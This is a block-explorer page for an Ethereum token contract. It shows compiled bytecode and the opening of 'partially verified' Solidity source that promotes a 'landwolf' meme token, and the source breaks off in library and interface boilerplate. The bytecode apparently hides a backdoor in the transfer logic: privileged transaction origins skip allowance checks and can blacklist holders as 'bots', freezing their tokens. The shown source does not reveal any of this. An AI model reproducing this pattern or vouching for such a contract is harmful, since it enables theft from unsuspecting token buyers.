Address Contract Partially Verified
Address
0xc4Ef389be41C2e0da715F1196530378a3D761Ee4
Balance
0 ETH
Nonce
1
Code Size
11322 bytes
Creator
0xA91B144b...e6d9 at tx 0x08424770...1977fc
Indexed Transactions
0
Contract Bytecode
11322 bytes
0x608060405260043610610169575f3560e01c80634a74bb02116100d05780638da5cb5b11610089578063a9059cbb11610063578063a9059cbb1461052a578063dd62ed3e14610566578063ddbf5266146105a2578063f2fde38b146105ca57610170565b80638da5cb5b1461049a57806395d89b41146104c4578063a457c2d7146104ee57610170565b80634a74bb02146103b4578063590f897e146103de57806370a0823114610408578063715018a61461044457806378109e541461045a5780638a8c523c1461048457610170565b8063220f669611610122578063220f66961461029457806323b872dd146102be578063313ce567146102fa578063395093511461032457806340b9a54b1461036057806349bd5a5e1461038a57610170565b806304e6c1581461017457806306fdde03146101b0578063095ea7b3146101da57806313fad07a146102165780631694505e1461024057806318160ddd1461026a57610170565b3661017057005b5f5ffd5b34801561017f575f5ffd5b5061019a60048036038101906101959190612075565b6105f2565b6040516101a791906120ba565b60405180910390f35b3480156101bb575f5ffd5b506101c461060f565b6040516101d19190612143565b60405180910390f35b3480156101e5575f5ffd5b5061020060048036038101906101fb9190612196565b61069f565b60405161020d91906120ba565b60405180910390f35b348015610221575f5ffd5b5061022a6106bc565b60405161023791906120ba565b60405180910390f35b34801561024b575f5ffd5b506102546106cf565b604051610261919061222f565b60405180910390f35b348015610275575f5ffd5b5061027e6106f4565b60405161028b9190612257565b60405180910390f35b34801561029f575f5ffd5b506102a86106fd565b6040516102b591906120ba565b60405180910390f35b3480156102c9575f5ffd5b506102e460048036038101906102df9190612270565b610710565b6040516102f191906120ba565b60405180910390f35b348015610305575f5ffd5b5061030e610800565b60405161031b91906122db565b60405180910390f35b34801561032f575f5ffd5b5061034a60048036038101906103459190612196565b610815565b60405161035791906120ba565b60405180910390f35b34801561036b575f5ffd5b506103746108c3565b6040516103819190612257565b60405180910390f35b348015610395575f5ffd5b5061039e6108c9565b6040516103ab9190612303565b60405180910390f35b3480156103bf575f5ffd5b506103c86108ee565b6040516103d591906120ba565b60405180910390f35b3480156103e9575f5ffd5b506103f2610901565b6040516103ff9190612257565b60405180910390f35b348015610413575f5ffd5b5061042e60048036038101906104299190612075565b610907565b60405161043b9190612257565b60405180910390f35b34801561044f575f5ffd5b5061045861094d565b005b348015610465575f5ffd5b5061046e610960565b60405161047b9190612257565b60405180910390f35b34801561048f575f5ffd5b50610498610966565b005b3480156104a5575f5ffd5b506104ae610ac7565b6040516104bb9190612303565b60405180910390f35b3480156104cf575f5ffd5b506104d8610aee565b6040516104e59190612143565b60405180910390f35b3480156104f9575f5ffd5b50610514600480360381019061050f9190612196565b610b7e565b60405161052191906120ba565b60405180910390f35b348015610535575f5ffd5b50610550600480360381019061054b9190612196565b610c46565b60405161055d91906120ba565b60405180910390f35b348015610571575f5ffd5b5061058c6004803603810190610587919061231c565b610c63565b6040516105999190612257565b60405180910390f35b3480156105ad575f5ffd5b506105c860048036038101906105c3919061235a565b610ce5565b005b3480156105d5575f5ffd5b506105f060048036038101906105eb9190612075565b610d72565b005b6003602052805f5260405f205f915054906101000a900460ff1681565b6060600a805461061e906123b2565b80601f016020809104026020016040519081016040528092919081815260200182805461064a906123b2565b80156106955780601f1061066c57610100808354040283529160200191610695565b820191905f5260205f20905b81548152906001019060200180831161067857829003601f168201915b5050505050905090565b5f6106b26106ab610df4565b8484610dfb565b6001905092915050565b601b60169054906101000a900460ff1681565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600d54905090565b601b60149054906101000a900460ff1681565b5f61071c848484610f89565b6107f584610728610df4565b6107f085604051806060016040528060288152602001612bb86028913960135f9054906101000a900460ff166107dd5760025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61079e610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e1565b6014545b61181f9092919063ffffffff16565b610dfb565b600190509392505050565b5f600c5f9054906101000a900460ff16905090565b5f6108b9610821610df4565b846108b48560025f610831610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461187390919063ffffffff16565b610dfb565b6001905092915050565b60115481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60159054906101000a900460ff1681565b60125481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610955611888565b61095e5f611906565b565b60185481565b61096e611888565b6109ba30601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610dfb565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a0230610907565b5f5f610a0c610ac7565b426040518863ffffffff1660e01b8152600401610a2e9695949392919061241b565b60606040518083038185885af1158015610a4a573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a6f919061248e565b5050506001601b60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1596001604051610abd91906120ba565b60405180910390a1565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054610afd906123b2565b80601f0160208091040260200160405190810160405280929190818152602001828054610b29906123b2565b8015610b745780601f10610b4b57610100808354040283529160200191610b74565b820191905f5260205f20905b815481529060010190602001808311610b5757829003601f168201915b5050505050905090565b5f610c3c610b8a610df4565b84610c3785604051806060016040528060258152602001612be06025913960025f610bb3610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461181f9092919063ffffffff16565b610dfb565b6001905092915050565b5f610c59610c52610df4565b8484610f89565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ced611888565b601b60149054906101000a900460ff1615610d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3490612528565b60405180910390fd5b5f610d4730610907565b90505f60648383610d589190612573565b610d6291906125e1565b9050610d6d816119c7565b505050565b610d7a611888565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610de8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddf90612681565b60405180910390fd5b610df181611906565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e6357505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e99906126e9565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7c9190612257565b60405180910390a3505050565b610f91610ac7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611019575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561105157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110aa5750601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611103575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111425750611112610ac7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111a5575f61115183610907565b905060185482826111629190612707565b11156111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a906127d0565b60405180910390fd5b505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561120d57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61124c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124390612838565b60405180910390fd5b5f811161128e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611285906128c6565b60405180910390fd5b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168160135f60145f84919050558391906101000a81548160ff021916908315150217905550505060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f9061292e565b60405180910390fd5b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561142b5750601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611464575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b801561148557506103e88161147885610907565b611482919061294c565b11155b156114e457600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061181a565b600f60019054906101000a900460ff1660ff16600f5f9054906101000a900460ff1660ff16101580156115245750601b60149054906101000a900460ff16155b801561157d5750601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115955750601b60159054906101000a900460ff165b156115d4575f600f5f6101000a81548160ff021916908360ff1602179055505f6115be30610907565b90505f8111156115d2576115d1816119c7565b5b505b5f6001905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611674575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061173d5750601b60169054906101000a900460ff1680156116e35750601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561173c5750601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561174a575f905061180c565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036117ac5760115460108190555061180b565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361180a576012546010819055505b5b5b61181884848484611a38565b505b505050565b5f838311158290611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d9190612143565b60405180910390fd5b5082840390509392505050565b5f81836118809190612707565b905092915050565b611890610df4565b73ffffffffffffffffffffffffffffffffffffffff166118ae610ac7565b73ffffffffffffffffffffffffffffffffffffffff1614611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb906129c9565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601b60146101000a81548160ff0219169083151502179055506119eb81611aa1565b5f479050611a1a60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611cd7565b505f601b60146101000a81548160ff02191690831515021790555050565b80611a4a57611a45611d1f565b611a82565b600f5f81819054906101000a900460ff1680929190611a68906129e7565b91906101000a81548160ff021916908360ff160217905550505b611a8d848484611d75565b80611a9b57611a9a611fa3565b5b50505050565b5f600267ffffffffffffffff811115611abd57611abc612a0f565b5b604051908082528060200260200182016040528015611aeb5781602001602082028036833780820191505090505b50905030815f81518110611b0257611b01612a3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ba6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bca9190612a7d565b81600181518110611bde57611bdd612a3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c4430601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dfb565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611ca6959493929190612b5f565b5f604051808303815f87803b158015611cbd575f5ffd5b505af1158015611ccf573d5f5f3e3d5ffd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611d1a573d5f5f3e3d5ffd5b505050565b5f601054148015611d3157505f601154145b8015611d3e57505f601254145b611d73576011546016819055506012546017819055506010546015819055505f6011819055505f6012819055505f6010819055505b565b5f5f611d8083611fc0565b91509150611dd48360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200290919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611e658260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461187390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ef68160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461187390919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f949190612257565b60405180910390a35050505050565b601554601081905550601654601181905550601754601281905550565b5f5f5f606460105485611fd39190612573565b611fdd91906125e1565b90505f611ff3828661200290919063ffffffff16565b90508082935093505050915091565b5f818361200f919061294c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120448261201b565b9050919050565b6120548161203a565b811461205e575f5ffd5b50565b5f8135905061206f8161204b565b92915050565b5f6020828403121561208a57612089612017565b5b5f61209784828501612061565b91505092915050565b5f8115159050919050565b6120b4816120a0565b82525050565b5f6020820190506120cd5f8301846120ab565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612115826120d3565b61211f81856120dd565b935061212f8185602086016120ed565b612138816120fb565b840191505092915050565b5f6020820190508181035f83015261215b818461210b565b905092915050565b5f819050919050565b61217581612163565b811461217f575f5ffd5b50565b5f813590506121908161216c565b92915050565b5f5f604083850312156121ac576121ab612017565b5b5f6121b985828601612061565b92505060206121ca85828601612182565b9150509250929050565b5f819050919050565b5f6121f76121f26121ed8461201b565b6121d4565b61201b565b9050919050565b5f612208826121dd565b9050919050565b5f612219826121fe565b9050919050565b6122298161220f565b82525050565b5f6020820190506122425f830184612220565b92915050565b61225181612163565b82525050565b5f60208201905061226a5f830184612248565b92915050565b5f5f5f6060848603121561228757612286612017565b5b5f61229486828701612061565b93505060206122a586828701612061565b92505060406122b686828701612182565b9150509250925092565b5f60ff82169050919050565b6122d5816122c0565b82525050565b5f6020820190506122ee5f8301846122cc565b92915050565b6122fd8161203a565b82525050565b5f6020820190506123165f8301846122f4565b92915050565b5f5f6040838503121561233257612331612017565b5b5f61233f85828601612061565b925050602061235085828601612061565b9150509250929050565b5f6020828403121561236f5761236e612017565b5b5f61237c84828501612182565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806123c957607f821691505b6020821081036123dc576123db612385565b5b50919050565b5f819050919050565b5f6124056124006123fb846123e2565b6121d4565b612163565b9050919050565b612415816123eb565b82525050565b5f60c08201905061242e5f8301896122f4565b61243b6020830188612248565b612448604083018761240c565b612455606083018661240c565b61246260808301856122f4565b61246f60a0830184612248565b979650505050505050565b5f815190506124888161216c565b92915050565b5f5f5f606084860312156124a5576124a4612017565b5b5f6124b28682870161247a565b93505060206124c38682870161247a565b92505060406124d48682870161247a565b9150509250925092565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e5f82015250565b5f6125126020836120dd565b915061251d826124de565b602082019050919050565b5f6020820190508181035f83015261253f81612506565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61257d82612163565b915061258883612163565b925082820261259681612163565b915082820484148315176125ad576125ac612546565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6125eb82612163565b91506125f683612163565b925082612606576126056125b4565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61266b6026836120dd565b915061267682612611565b604082019050919050565b5f6020820190508181035f8301526126988161265f565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f6126d36011836120dd565b91506126de8261269f565b602082019050919050565b5f6020820190508181035f830152612700816126c7565b9050919050565b5f61271182612163565b915061271c83612163565b925082820190508082111561273457612733612546565b5b92915050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e7920745f8201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b5f6127ba6051836120dd565b91506127c58261273a565b606082019050919050565b5f6020820190508181035f8301526127e7816127ae565b9050919050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f6128226015836120dd565b915061282d826127ee565b602082019050919050565b5f6020820190508181035f83015261284f81612816565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f6128b06025836120dd565b91506128bb82612856565b604082019050919050565b5f6020820190508181035f8301526128dd816128a4565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f6129186012836120dd565b9150612923826128e4565b602082019050919050565b5f6020820190508181035f8301526129458161290c565b9050919050565b5f61295682612163565b915061296183612163565b925082820390508181111561297957612978612546565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6129b36020836120dd565b91506129be8261297f565b602082019050919050565b5f6020820190508181035f8301526129e0816129a7565b9050919050565b5f6129f1826122c0565b915060ff8203612a0457612a03612546565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612a778161204b565b92915050565b5f60208284031215612a9257612a91612017565b5b5f612a9f84828501612a69565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ada8161203a565b82525050565b5f612aeb8383612ad1565b60208301905092915050565b5f602082019050919050565b5f612b0d82612aa8565b612b178185612ab2565b9350612b2283612ac2565b805f5b83811015612b52578151612b398882612ae0565b9750612b4483612af7565b925050600181019050612b25565b5085935050505092915050565b5f60a082019050612b725f830188612248565b612b7f602083018761240c565b8181036040830152612b918186612b03565b9050612ba060608301856122f4565b612bad6080830184612248565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bf96321ab61fc5b426d3a601165c15690c59e43e133d474d9763a222e05b838164736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 1160 lines
// SPDX-License-Identifier: MIT
/*
Peep this original MEME blockchain tech!
https://landwolftoken.org
https://x.com/landwolftokenx
https://t.me/landwolftoken_portal
*/
pragma solidity ^0.8.17;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
//Contract By Techaddict
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to to.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from from to to using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File: contracts/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.17;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/Ownable.sol
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
pragma solidity ^0.8.17;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* onlyOwner, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
